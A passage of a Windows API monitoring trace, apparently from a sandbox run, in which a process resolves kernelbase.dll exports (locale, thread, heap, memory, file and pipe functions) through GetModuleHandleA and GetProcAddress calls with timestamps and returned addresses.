GetModuleHandleA (lpModuleName="KERNELBASE.dll") returned 0x77480000 [0098.167] GetProcAddress (hModule=0x77480000, lpProcName="BaseReleaseProcessDllPath") returned 0x7748b5b5 [0098.167] GetProcAddress (hModule=0x77480000, lpProcName="BaseGetProcessExePath") returned 0x7748b54c [0098.167] GetProcAddress (hModule=0x77480000, lpProcName="BaseGetProcessDllPath") returned 0x7748b515 [0098.167] GetProcAddress (hModule=0x77480000, lpProcName="LoadStringByReference") returned 0x774b25de [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="InternalLcidToName") returned 0x7749e702 [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="NlsIsUserDefaultLocale") returned 0x774a3009 [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="GetUserInfo") returned 0x774a3c80 [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="GetPtrCalDataArray") returned 0x774a29a6 [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="GetPtrCalData") returned 0x774a296d [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="GetStringTableEntry") returned 0x774a2e9a [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="CheckGroupPolicyEnabled") returned 0x774a0025 [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="OpenRegKey") returned 0x774b2df3 [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="GetCPHashNode") returned 0x7749fd6c [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="Internal_EnumSystemCodePages") returned 0x774a906c [0098.168] GetProcAddress (hModule=0x77480000, lpProcName="Internal_EnumUILanguages") returned 0x774a8336 [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="Internal_EnumLanguageGroupLocales") returned 0x774a8066 [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="Internal_EnumSystemLanguageGroups") returned 0x774a7d8d [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="Internal_EnumDateFormats") returned 0x774aa1de [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="Internal_EnumTimeFormats") returned 0x774aa163 [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="KernelBaseGetGlobalData") returned 0x77486c21 [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="InvalidateTzSpecificCache") returned 0x77488ed1 [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="IsDBCSLeadByte") returned 0x774ada61 [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="CreateFileMappingNumaW") returned 0x7748da5f [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="CompareStringA") returned 0x774a061d [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="LoadStringBaseExW") returned 0x77493ad9 [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="BaseInvalidateDllSearchPathCache") returned 0x7748a940 [0098.169] GetProcAddress (hModule=0x77480000, lpProcName="BaseInvalidateProcessSearchPathCache") returned 0x7748a955 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="BaseDllFreeResourceId") returned 0x77491282 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="BaseDllMapResourceIdW") returned 0x77492069 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="GetUserDefaultUILanguage") returned 0x774b187f [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="EnumUILanguagesW") returned 0x774aa036 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="AreFileApisANSI") returned 0x7748b6b6 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="EnumCalendarInfoExW") returned 0x774aa0f2 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="EnumCalendarInfoW") returned 0x774aa0c2 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="EnumDateFormatsExW") returned 0x774aa2fd [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="EnumDateFormatsW") returned 0x774aa2d0 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="EnumLanguageGroupLocalesW") returned 0x774aa015 [0098.170] GetProcAddress (hModule=0x77480000, lpProcName="EnumSystemCodePagesW") returned 0x774aa0a7 [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="EnumSystemLanguageGroupsW") returned 0x774a9ff7 [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="EnumSystemLocalesEx") returned 0x774aa074 [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="EnumSystemLocalesW") returned 0x774aa054 [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="EnumTimeFormatsW") returned 0x774aa27a [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="GetLocaleInfoA") returned 0x774a07e2 [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="GetStringTypeA") returned 0x774a055a [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemDefaultUILanguage") returned 0x774b184a [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="IsDBCSLeadByteEx") returned 0x774aefb1 [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="MapViewOfFileExNuma") returned 0x7748dd34 [0098.171] GetProcAddress (hModule=0x77480000, lpProcName="SetFileApisToANSI") returned 0x7748b642 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="SetFileApisToOEM") returned 0x7748b67c [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="VirtualAllocExNuma") returned 0x7748e109 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="EnumCalendarInfoExEx") returned 0x774aa122 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="EnumDateFormatsExEx") returned 0x774aa32a [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="EnumTimeFormatsEx") returned 0x774aa2a5 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="GetCurrencyFormatEx") returned 0x774b1180 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="GetEraNameCountedString") returned 0x774a29e2 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="GetNumberFormatEx") returned 0x774b0d34 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemDefaultLocaleName") returned 0x774a3463 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="GetUserDefaultLocaleName") returned 0x774a34d0 [0098.172] GetProcAddress (hModule=0x77480000, lpProcName="LCIDToLocaleName") returned 0x774a38c5 [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="GetNamedLocaleHashNode") returned 0x7749fad0 [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="GetLocaleInfoHelper") returned 0x774a3d73 [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="GetUserInfoWord") returned 0x774a2f73 [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="GetCalendar") returned 0x7749f354 [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="SpecialMBToWC") returned 0x774ae7a6 [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="Internal_EnumCalendarInfo") returned 0x774a928b [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="NlsValidateLocale") returned 0x774a2e6c [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="BaseReleaseProcessExePath") returned 0x7748b5e4 [0098.173] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ProcessThreads-L1-1-0.dll") returned 0x76300000 [0098.173] PathFindFileNameA (pszPath="C:\\Windows\\syswow64\\kernel32.dll") returned="kernel32.dll" [0098.173] _strcmpi (_Str1="kernel32.dll", _Str2="kernel32.dll") returned 0 [0098.173] GetModuleHandleA (lpModuleName="kernelbase") returned 0x77480000 [0098.173] GetProcAddress (hModule=0x77480000, lpProcName="TlsGetValue") returned 0x77492c95 [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="SetThreadPriority") returned 0x7749339f [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="SetProcessShutdownParameters") returned 0x7748eae7 [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="SetPriorityClass") returned 0x7748e886 [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="ResumeThread") returned 0x77492bbe [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="QueueUserAPC") returned 0x77492d6f [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="ProcessIdToSessionId") returned 0x774936d6 [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="OpenThread") returned 0x7749287e [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="GetThreadPriorityBoost") returned 0x774929d4 [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="GetThreadPriority") returned 0x77492950 [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="GetStartupInfoW") returned 0x7748edf4 [0098.174] GetProcAddress (hModule=0x77480000, lpProcName="GetProcessTimes") returned 0x7748ea7a [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetPriorityClass") returned 0x7748ea14 [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetExitCodeThread") returned 0x77492ad2 [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetCurrentThreadId") returned 0x77492b18 [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetCurrentThread") returned 0x77492b0f [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetProcessId") returned 0x7748e67d [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetProcessIdOfThread") returned 0x77492b5c [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetThreadId") returned 0x77492b27 [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetCurrentProcessId") returned 0x7748ee93 [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="CreateRemoteThreadEx") returned 0x77492ef3 [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="GetExitCodeProcess") returned 0x7748e5c7 [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="TlsFree") returned 0x77492ce5 [0098.175] GetProcAddress (hModule=0x77480000, lpProcName="TlsAlloc") returned 0x77493529 [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="TerminateThread") returned 0x77492a0e [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="TerminateProcess") returned 0x7748e581 [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="SwitchToThread") returned 0x77492edb [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="SuspendThread") returned 0x77492b91 [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="SetThreadStackGuarantee") returned 0x7748ad25 [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="SetThreadPriorityBoost") returned 0x77492999 [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="OpenProcessToken") returned 0x7749b9f7 [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="TlsSetValue") returned 0x774935f5 [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="SetProcessAffinityUpdateMode") returned 0x7748e42e [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="QueryProcessAffinityUpdateMode") returned 0x7748e47c [0098.176] GetProcAddress (hModule=0x77480000, lpProcName="GetProcessVersion") returned 0x7748eea2 [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="CreateRemoteThread") returned 0x774936ac [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="InitializeProcThreadAttributeList") returned 0x7748eb9f [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="UpdateProcThreadAttribute") returned 0x7748ec13 [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="DeleteProcThreadAttributeList") returned 0x7748ec0b [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="GetCurrentProcess") returned 0x7748e674 [0098.177] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Heap-L1-1-0.dll") returned 0x77480000 [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="HeapCreate") returned 0x77494516 [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="HeapSetInformation") returned 0x77494819 [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="HeapQueryInformation") returned 0x7749484a [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="HeapLock") returned 0x774946ce [0098.177] GetProcAddress (hModule=0x77480000, lpProcName="HeapDestroy") returned 0x77494580 [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="GetProcessHeap") returned 0x7749469a [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="GetProcessHeaps") returned 0x774946ac [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="HeapWalk") returned 0x77494702 [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="HeapValidate") returned 0x7749467a [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="HeapUnlock") returned 0x774946e8 [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="HeapCompact") returned 0x774946bd [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="HeapSummary") returned 0x774945f9 [0098.178] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Memory-L1-1-0.dll") returned 0x77480000 [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="MapViewOfFileEx") returned 0x7748df2d [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="ReadProcessMemory") returned 0x7748dfc8 [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="UnmapViewOfFile") returned 0x7748de3e [0098.178] GetProcAddress (hModule=0x77480000, lpProcName="VirtualAlloc") returned 0x7748e365 [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="VirtualAllocEx") returned 0x7748e2c8 [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="VirtualFree") returned 0x7748e2aa [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="VirtualFreeEx") returned 0x7748e174 [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="VirtualProtect") returned 0x7748e326 [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="WriteProcessMemory") returned 0x7748e009 [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="VirtualQueryEx") returned 0x7748e273 [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="VirtualQuery") returned 0x7748e347 [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="VirtualProtectEx") returned 0x7748e1ff [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="FlushViewOfFile") returned 0x7748ddf5 [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="CreateFileMappingW") returned 0x7748db8e [0098.179] GetProcAddress (hModule=0x77480000, lpProcName="OpenFileMappingW") returned 0x7748dc9c [0098.180] GetProcAddress (hModule=0x77480000, lpProcName="MapViewOfFile") returned 0x7748de94 [0098.180] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Handle-L1-1-0.dll") returned 0x76300000 [0098.180] PathFindFileNameA (pszPath="C:\\Windows\\syswow64\\kernel32.dll") returned="kernel32.dll" [0098.180] _strcmpi (_Str1="kernel32.dll", _Str2="kernel32.dll") returned 0 [0098.180] GetModuleHandleA (lpModuleName="kernelbase") returned 0x77480000 [0098.180] GetProcAddress (hModule=0x77480000, lpProcName="DuplicateHandle") returned 0x7748b778 [0098.180] GetProcAddress (hModule=0x77480000, lpProcName="GetHandleInformation") returned 0x7748b7fb [0098.180] GetProcAddress (hModule=0x77480000, lpProcName="SetHandleInformation") returned 0x7748b884 [0098.180] GetProcAddress (hModule=0x77480000, lpProcName="CloseHandle") returned 0x7748b730 [0098.180] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Synch-L1-1-0.dll") returned 0x76300000 [0098.180] PathFindFileNameA (pszPath="C:\\Windows\\syswow64\\kernel32.dll") returned="kernel32.dll" [0098.180] _strcmpi (_Str1="kernel32.dll", _Str2="kernel32.dll") returned 0 [0098.180] GetModuleHandleA (lpModuleName="kernelbase") returned 0x77480000 [0098.180] GetProcAddress (hModule=0x77480000, lpProcName="OpenProcess") returned 0x7748e505 [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="OpenSemaphoreW") returned 0x774905dc [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="OpenWaitableTimerW") returned 0x774909d5 [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="ReleaseMutex") returned 0x7749030b [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="ReleaseSemaphore") returned 0x77490247 [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="OpenMutexW") returned 0x774906ea [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="SetEvent") returned 0x7749013d [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="SetWaitableTimer") returned 0x77490a69 [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="SleepEx") returned 0x77492beb [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="WaitForMultipleObjectsEx") returned 0x77490862 [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="WaitForSingleObjectEx") returned 0x7749077e [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="OpenEventW") returned 0x77490548 [0098.181] GetProcAddress (hModule=0x77480000, lpProcName="OpenEventA") returned 0x77490ae4 [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="InitializeCriticalSectionEx") returned 0x7749006c [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7749004f [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CreateWaitableTimerExW") returned 0x77490335 [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CreateSemaphoreExW") returned 0x774901b9 [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CreateEventA") returned 0x77490ab4 [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CreateEventW") returned 0x77490518 [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CancelWaitableTimer") returned 0x7749049b [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CreateEventExA") returned 0x774904c5 [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CreateEventExW") returned 0x7749009e [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CreateMutexA") returned 0x77490b34 [0098.182] GetProcAddress (hModule=0x77480000, lpProcName="CreateMutexExA") returned 0x77490670 [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="CreateMutexExW") returned 0x77490275 [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="ResetEvent") returned 0x77490167 [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="CreateMutexW") returned 0x774906c3 [0098.183] GetModuleHandleA (lpModuleName="API-MS-Win-Core-File-L1-1-0.dll") returned 0x76300000 [0098.183] PathFindFileNameA (pszPath="C:\\Windows\\syswow64\\kernel32.dll") returned="kernel32.dll" [0098.183] _strcmpi (_Str1="kernel32.dll", _Str2="kernel32.dll") returned 0 [0098.183] GetModuleHandleA (lpModuleName="kernelbase") returned 0x77480000 [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="GetFullPathNameW") returned 0x77499e8e [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="GetFullPathNameA") returned 0x77499fbf [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="SetFileTime") returned 0x7748bf09 [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="QueryDosDeviceW") returned 0x7748f269 [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="CreateFileW") returned 0x7749b2d6 [0098.183] GetProcAddress (hModule=0x77480000, lpProcName="LockFile") returned 0x7748bf97 [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="GetFileSize") returned 0x7748d35b [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="SetEndOfFile") returned 0x7748bab2 [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="WriteFile") returned 0x7748d11f [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="SetFilePointer") returned 0x7748bb4f [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="ReadFile") returned 0x7748cfad [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="WriteFileEx") returned 0x7748c30a [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="WriteFileGather") returned 0x7748c5cf [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="GetFinalPathNameByHandleA") returned 0x7748d93f [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="GetFinalPathNameByHandleW") returned 0x7748d44e [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="RemoveDirectoryW") returned 0x7749841a [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="GetDiskFreeSpaceW") returned 0x7749526c [0098.184] GetProcAddress (hModule=0x77480000, lpProcName="CreateDirectoryW") returned 0x774982b7 [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="DefineDosDeviceW") returned 0x7748ef22 [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="FindFirstFileExA") returned 0x77499d44 [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="FindFirstFileExW") returned 0x77499554 [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="FindClose") returned 0x7749947a [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="GetFileType") returned 0x7748cece [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="FlushFileBuffers") returned 0x7748d280 [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="SetFileAttributesW") returned 0x7749897c [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="GetFileAttributesExW") returned 0x77498bc5 [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="DeleteFileW") returned 0x77498cd5 [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="GetFileTime") returned 0x7748be88 [0098.185] GetProcAddress (hModule=0x77480000, lpProcName="DeleteFileA") returned 0x77499022 [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="GetFileAttributesA") returned 0x77498fa7 [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="FindNextFileW") returned 0x77499280 [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="FindFirstFileW") returned 0x77499c32 [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="GetLogicalDriveStringsW") returned 0x774955fa [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="GetTempFileNameW") returned 0x77494fad [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="GetVolumeInformationW") returned 0x77495fbb [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="CompareFileTime") returned 0x7748870b [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="CreateDirectoryA") returned 0x77498909 [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="FileTimeToLocalFileTime") returned 0x77488d21 [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="FileTimeToSystemTime") returned 0x77488607 [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="FindCloseChangeNotification") returned 0x774991f0 [0098.186] GetProcAddress (hModule=0x77480000, lpProcName="FindFirstFileA") returned 0x77499af0 [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="FindFirstChangeNotificationA") returned 0x77499aad [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="FindFirstChangeNotificationW") returned 0x774990b4 [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="FindNextChangeNotification") returned 0x774991b1 [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="FindNextFileA") returned 0x77499c51 [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="GetDiskFreeSpaceA") returned 0x77495c85 [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="GetDiskFreeSpaceExA") returned 0x77495cd6 [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="GetDiskFreeSpaceExW") returned 0x77495428 [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="UnlockFileEx") returned 0x7748c0d9 [0098.187] GetProcAddress (hModule=0x77480000, lpProcName="GetDriveTypeA") returned 0x77495f6f [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="GetDriveTypeW") returned 0x77495870 [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="GetFileAttributesExA") returned 0x77498fe4 [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="GetFileAttributesW") returned 0x77498b0e [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="GetFileInformationByHandle") returned 0x7748bd62 [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="GetFileSizeEx") returned 0x7748c14e [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="GetVolumeInformationByHandleW") returned 0x77495d24 [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="LocalFileTimeToFileTime") returned 0x77488d6e [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="LockFileEx") returned 0x7748c026 [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="ReadFileScatter") returned 0x7748c52a [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="ReadFileEx") returned 0x7748c26a [0098.188] GetProcAddress (hModule=0x77480000, lpProcName="RemoveDirectoryA") returned 0x77498944 [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="SetFileAttributesA") returned 0x77498f6c [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="SetFileInformationByHandle") returned 0x7749b229 [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="SetFilePointerEx") returned 0x7748bc71 [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="SetFileValidData") returned 0x7748c671 [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="UnlockFile") returned 0x7748d2ef [0098.189] GetModuleHandleA (lpModuleName="API-MS-Win-Core-IO-L1-1-0.dll") returned 0x76300000 [0098.189] PathFindFileNameA (pszPath="C:\\Windows\\syswow64\\kernel32.dll") returned="kernel32.dll" [0098.189] _strcmpi (_Str1="kernel32.dll", _Str2="kernel32.dll") returned 0 [0098.189] GetModuleHandleA (lpModuleName="kernelbase") returned 0x77480000 [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="PostQueuedCompletionStatus") returned 0x774875ad [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="GetQueuedCompletionStatusEx") returned 0x77487723 [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="GetQueuedCompletionStatus") returned 0x77487693 [0098.189] GetProcAddress (hModule=0x77480000, lpProcName="CreateIoCompletionPort") returned 0x7748751a [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="CancelIoEx") returned 0x7748c4f1 [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="GetOverlappedResult") returned 0x774875e2 [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="DeviceIoControl") returned 0x7748c3aa [0098.190] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ThreadPool-L1-1-0.dll") returned 0x77480000 [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="ChangeTimerQueueTimer") returned 0x7748a6c1 [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="CreateTimerQueue") returned 0x7748a63e [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="UnregisterWaitEx") returned 0x7748a563 [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="DeleteTimerQueueTimer") returned 0x7748a70a [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="DeleteTimerQueueEx") returned 0x7748a75d [0098.190] GetProcAddress (hModule=0x77480000, lpProcName="CreateTimerQueueTimer") returned 0x7748a666 [0098.191] GetModuleHandleA (lpModuleName="API-MS-Win-Core-LibraryLoader-L1-1-0.dll") returned 0x77480000 [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleHandleA") returned 0x77491ef5 [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleHandleW") returned 0x77491094 [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleHandleExA") returned 0x774910cd [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleHandleExW") returned 0x77491142 [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="LoadResource") returned 0x774912b6 [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="LockResource") returned 0x7748c71d [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="SizeofResource") returned 0x7749133b [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="GetProcAddress") returned 0x77491180 [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleFileNameA") returned 0x77491e24 [0098.191] GetProcAddress (hModule=0x77480000, lpProcName="FreeLibraryAndExitThread") returned 0x77490b76 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="FindStringOrdinal") returned 0x774a12a1 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="DisableThreadLibraryCalls") returned 0x77490bdb [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="LoadLibraryExA") returned 0x77491d54 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleFileNameW") returned 0x77490c05 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="FindResourceExW") returned 0x774921c1 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="FreeLibrary") returned 0x77491d92 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="LoadLibraryExW") returned 0x77491bb2 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="FreeResource") returned 0x774913c0 [0098.192] GetModuleHandleA (lpModuleName="API-MS-Win-Core-NamedPipe-L1-1-0.dll") returned 0x77480000 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="PeekNamedPipe") returned 0x774883c8 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="DisconnectNamedPipe") returned 0x77487a50 [0098.192] GetProcAddress (hModule=0x77480000, lpProcName="CreatePipe") returned 0x77487838 [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="ConnectNamedPipe") returned 0x774879b8 [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="GetNamedPipeAttribute") returned 0x77487d16 [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="GetNamedPipeClientComputerNameW") returned 0x77487de9 [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="WaitNamedPipeW") returned 0x774880b4 [0098.193] 